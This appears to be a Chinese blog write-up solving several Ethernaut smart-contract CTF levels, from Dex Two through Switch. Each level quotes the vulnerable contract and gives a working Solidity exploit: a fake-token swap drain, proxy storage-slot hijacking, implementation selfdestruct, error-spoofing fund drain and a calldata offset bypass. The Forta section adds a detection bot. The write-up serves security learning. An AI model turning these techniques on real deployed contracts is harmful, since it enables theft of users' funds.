30 * 110 / 80 = 41 player 41 0
token1 -> token2 : 41 pool 110 45
41 * 110 / 69 = 45 player 0 65
token2 -> token1 : 45 pool 0 90
45 * 110 / 45 = 110 player 110 20

首先先approve一下,设置自身向合约的两个代币进行transferFrom转账的额度

然后进行六次swap即可

player token1 余额

image-20231215140558030

player token2 余额

image-20231215140626798

pool token1余额

image-20231215140707036

pool token2余额

image-20231215140651050

Dex Two

This level will ask you to break DexTwo, a subtlely modified Dex contract from the previous level, in a different way.

You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.

You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

主要是swap方法发生了变化,没有转入转出必须是token1或者token2的限制

那我们就可以自己发行一款代币记为token3,然后进行swap

step pool/player token1 token2 token3
Initialize pool 100 100 1
player 10 10 3
token3 -> token1 : 1 pool 0 100 2
(1 * 100) / 1 = 100 player 110 10 2
token3 - > token2 : 2 pool 0 0 4
(2 * 100) / 2 = 100 player 110 100 0

Exp:

先把token1和token2的钱都从player转到Exploit合约,然后调一次exploit方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract ExploitToken is ERC20 {
constructor() ERC20("Token3", "TK3") {
_mint(msg.sender, 4);
}
}

contract Exploit {
event Log(string, uint);
IDex public dex;
IERC20 public token1;
IERC20 public token2;
IERC20 public token3;
constructor(){
dex = IDex(0x2B7252525E22323d7338e4450b6B39dFEc0B1eC5);
token1 = IERC20(dex.token1());
token2 = IERC20(dex.token2());
token3 = new ExploitToken();
}
function exploit() public {
token3.approve(address(this), 1);
token3.transferFrom(address(this), address(dex), 1);
token3.approve(address(dex), 3);
dex.swap(address(token3), address(token1), 1);
dex.swap(address(token3), address(token2), 2);
emit Log("token1", token1.balanceOf(address(this)));
emit Log("token2", token1.balanceOf(address(this)));
}
}

image-20231222113637356

Puzzle Wallet

Nowadays, paying for DeFi operations is impossible, fact.

A group of friends discovered how to slightly decrease the cost of performing multiple transactions by batching them in one transaction, so they developed a smart contract for doing this.

They needed this contract to be upgradeable in case the code contained a bug, and they also wanted to prevent people from outside the group from using it. To do so, they voted and assigned two people with special roles in the system: The admin, which has the power of updating the logic of the smart contract. The owner, which controls the whitelist of addresses allowed to use the contract. The contracts were deployed, and the group was whitelisted. Everyone cheered for their accomplishments against evil miners.

Little did they know, their lunch money was at risk…

You’ll need to hijack this wallet to become the admin of the proxy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

PuzzleProxy是代理合约,PuzzleWallet是逻辑合约

这实际上是一个可升级合约

Proxy合约利用fallback,将所有调用通过delegateCall委托给Logic合约

PuzzleProxy的slot布局:

slot data
slot0 unused(12 bytes) | pendingAdmin(20 bytes)
slot1 unused(12 bytes) | admin(20 bytes)

PuzzleWallet的slot布局:

slot data
slot0 unused(12 bytes) | owner(20 bytes)
slot1 maxBalance(32 bytes)
slot2 whitelisted(32 bytes)
slot3 balances(32 bytes)

我们想要成为admin,就要修改slot1的值,可以通过setMaxBalance

但是setMaxBalance 又需要我们在whitelist里面,我们需要调addToWhitelist 将自己添加到白名单里

但是addToWhitelist 需要我们是PuzzleWallet的owner,owner是存储在slot0里面的,通过调proposeNewAdmin 可以修改slot0的值

  1. 调用proposeNewAdmin 修改slot0的值

image-20231225170807909

  1. 调用addToWhitelist,将自己加入白名单

image-20231225171055484

  1. 调用setMaxBalance,修改slot0

还有一个前提是需要当前合约的balance为0,但是当前balance不为0

deposit是一个存款函数,execute 是一个取款函数

通过multicall,可以多次调用deposit进行取款,但是有个if判断只让调一次deposit,可以通过multicall(deposit()),此时的函数签名为multicall,可以绕过if判断

最终Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract Exploit {
PuzzleProxy public puzzle = PuzzleProxy(0xbE9878B9D785D4De3Db67e7720Ab5a49B9F23C70);
function exploit() public payable {
puzzle.proposeNewAdmin(address(this));
puzzle.addToWhitelist(address(this));
bytes[] memory data = new bytes[](2);
data[0] = abi.encodeWithSignature("deposit()");
bytes[] memory deposite_data = new bytes[](1);
deposite_data[0] = data[0];
data[1] = abi.encodeWithSignature("multicall(bytes[])", deposite_data);
puzzle.multicall{value: msg.value}(data);
puzzle.execute(msg.sender, 0.002 ether,"");
puzzle.setMaxBalance(uint256(uint160(msg.sender)));
}
}

MotorBike

Ethernaut’s motorbike has a brand new upgradeable engine design.

Would you be able to selfdestruct its engine and make the motorbike unusable ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

Initializable合约的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT

pragma solidity >=0.4.24 <0.7.0;


/**
* @title Initializable
*
* @dev Deprecated. This contract is kept in the Upgrades Plugins for backwards compatibility purposes.
* Users should use openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol instead.
*
* Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {

/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;

/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;

/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}

_;

if (isTopLevelCall) {
initializing = false;
}
}

/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}

// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}

Motorbike是代理合约,Engine是逻辑合约

Motorbike通过delegateCall 调了Engine合约的initialize方法

通过阅读Initializable的源码发现,在initialize方法中使用initialized 和 initializing 变量来限制只能调用一次initialize 方法

但是因为是通过delegateCall调用的,变量的上下文用的是Motorbike的,Engine合约的上下文并没有被改变

通过找到Engine合约的地址直接调用Engine合约的initialize方法,此时的上下文用的是Engine合约的,可以把upgrader设置为自身

可以看到逻辑合约的地址是存在0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc中的,这实际上是 eip-1967的实现,避免存放逻辑合约地址的slot影响到存放正常变量的slot

通过

1
await web3.eth.getStorageAt(contract.address,"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")

获取到Engine合约的地址为0x5a8f77d76Ba94f2D54B44Bcc51F178d376caD509

成为upgrader后通过upgradeToAndCall的地址,并使用delegateCall调代理合约的selfdestruct,此时上下文是Engine的,就把Engine合约销毁了

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Hack {
function kill() external {
selfdestruct(payable(0xAE180bcc68A4A32203210DFe4fD40a11Ad5e5d27));
}
}

contract Exploit {
Engine public engine = Engine(0x5a8f77d76Ba94f2D54B44Bcc51F178d376caD509);
function exploit() public{
engine.initialize();
engine.upgradeToAndCall(address(new Hack()),abi.encodeWithSignature("kill"));
}
}

Forta

This level features a CryptoVault with special functionality, the sweepToken function. This is a common function used to retrieve tokens stuck in a contract. The CryptoVault operates with an underlying token that can’t be swept, as it is an important core logic component of the CryptoVault. Any other tokens can be swept.

The underlying token is an instance of the DET token implemented in the DoubleEntryPoint contract definition and the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT.

In this level you should figure out where the bug is in CryptoVault and protect it from being drained out of tokens.

The contract features a Forta contract where any user can register its own detection bot contract. Forta is a decentralized, community-based monitoring network to detect threats and anomalies on DeFi, NFT, governance, bridges and other Web3 systems as quickly as possible. Your job is to implement a detection bot and register it in the Forta contract. The bot’s implementation will need to raise correct alerts to prevent potential attacks or bug exploits.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}

有两个ERC20代币代币,LegacyToken(LGT)和DoubleEntryPoint(DET)

以及一个CryptoVault,分别持有100个LGT和100个DET

题目中给的instance是DoubleEntryPoint的,从中可以获取其他合约的地址

CryptoVault实现了sweepToken ,可以将自己的token转到sweptTokensRecipient地址

但是交易的token不能是underlying,underlying在这里是DET

image-20231227110404735

如果我们尝试输入LGT的地址,此时会执行LGT的transfer逻辑

1
2
3
4
5
6
7
function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}

然后会执行delegate.delegateTransfer(to, value, msg.sender) 也即DET的delegateTransfer方法

1
2
3
4
5
6
7
8
function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}

此时会把DET代币转到to地址,也即player的地址

要防御此攻击,可以在delegateTransfer前检测origSender是不是CryptoVault的地址

我们可以设置bot

1
2
3
4
5
6
7
modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));
uint256 previousValue = forta.botRaisedAlerts(detectionBot);
forta.notify(player, msg.data);
_;
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

但这里bot接受的是msg.data,msg.data包含函数选择器(4 bytes)以及参数

可以通过

1
(address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address));

进行解码得到参数

1
2
3
4
5
6
7
8
contract MyBot is IDetectionBot{
function handleTransaction(address user, bytes calldata msgData) external override {
(address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address));
if(origSender == 0x94DBE106c6eB8ec2f064784B8A300f5eaAB1afF9){
IForta(msg.sender).raiseAlert(user);
}
}
}

Good Samaritan

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.

Would you be able to drain all the balance from his Wallet?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

一次可以转走10枚coin,一共有1000000枚

但是只要触发NotEnoughBalance异常就可以把coin全部转走

如果目标是合约账户在transfer的时候会调用

1
INotifyable(dest_).notify(amount_);

我们可以在此处抛出异常,从而转走所有coin

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
contract Exploit {
error NotEnoughBalance();
GoodSamaritan public goodSamaritan = GoodSamaritan(0xd7A9c9Ab9bAA0c5FDafC211bb2935c94B91A3368);
function exploit() public {
goodSamaritan.requestDonation();
}
function notify(uint256 amount) external pure{
if(amount == 10){
revert NotEnoughBalance();
}
}
}

这里在notify判断amount是否等于10,是因为要在最后一次转走全部coin的时候不revert交易

Gatekeeper Three

Cope with gates and become an entrant.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;

constructor (address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive () external payable {}
}

想要修改entrant,需要通过gateOne、gateTwo和gateThree

对于gateOne

1
2
3
4
5
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

调用construct0r 方法即可将owner修改为msg.sender

通过部署一个攻击合约调GatekeeperThree的方法即可让tx.origin != owner,此时ms g.sender为攻击合约的地址,tx.origin为调用者

对于gateTwo,需要调用getAllowance,前提是要知道password

先调用一次createTrick,创建一个SimpleTrick合约,地址为0x79a11Bb3a62fD8a12ae6A4F2FB8f2b069323a436

在SimpleTrick合约中,password是存在slot2中的

通过

1
await web3.eth.getStorageAt("0x79a11Bb3a62fD8a12ae6A4F2FB8f2b069323a436",2)

获得password为0x658be220

对于gateThee,先给他转账0.001 ether,在修改自己的receive函数,在接受转账的时候revert即可

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
contract Exploit {
GatekeeperThree public gate = GatekeeperThree(payable(0x46a56920AD51311e33D17d3F7aB8Da27639F01c0));
function exploit() public payable {
gate.construct0r();
gate.getAllowance(uint(0x658be220));
payable(address(gate)).transfer(msg.value);
gate.enter();
}
function receive() external payable {
revert();
}
}

Switch

Just have to flip the switch. Can’t be that hard, right?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/ SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}

function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}

function turnSwitchOn() public onlyThis {
switchOn = true;
}

function turnSwitchOff() public onlyThis {
switchOn = false;
}

}

calldata的前32bytes是偏移量,在偏移量处的32bytes是参数长度,再接着是参数值

这里使用calldatacopy(selector, 68, 4),因为函数选择器占4 bytes,在默认情况下(offset为0x20),这个取的是参数的值,即flipSwith的_data,限制了他只能是turnSwitchOff

那么我们只要修改offset就行了

1
2
3
4
5
6
7
8
0x
30c13ade // flipSwitch的函数选择器
0000000000000000000000000000000000000000000000000000000000000060 // 偏移96bytes
0000000000000000000000000000000000000000000000000000000000000004 // 虚假的数据长度
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff的函数选择器
-- offset设置了实际从这里开始 --
0000000000000000000000000000000000000000000000000000000000000004 // 数据长度
76227e1200000000000000000000000000000000000000000000000000000000 // turnSwitchOn的函数选择器

Exp:

1
2
3
4
contract Exploit {
function exploit() public{ address(0x0B1720bF25d6610195A084217E3Bd4C6F3ccAA24).call(hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000");
}
}

Etherenum-WriteUp
https://www.xuxblog.top/2024/01/31/Etherenum-WriteUp/
发布于
2024年1月31日
许可协议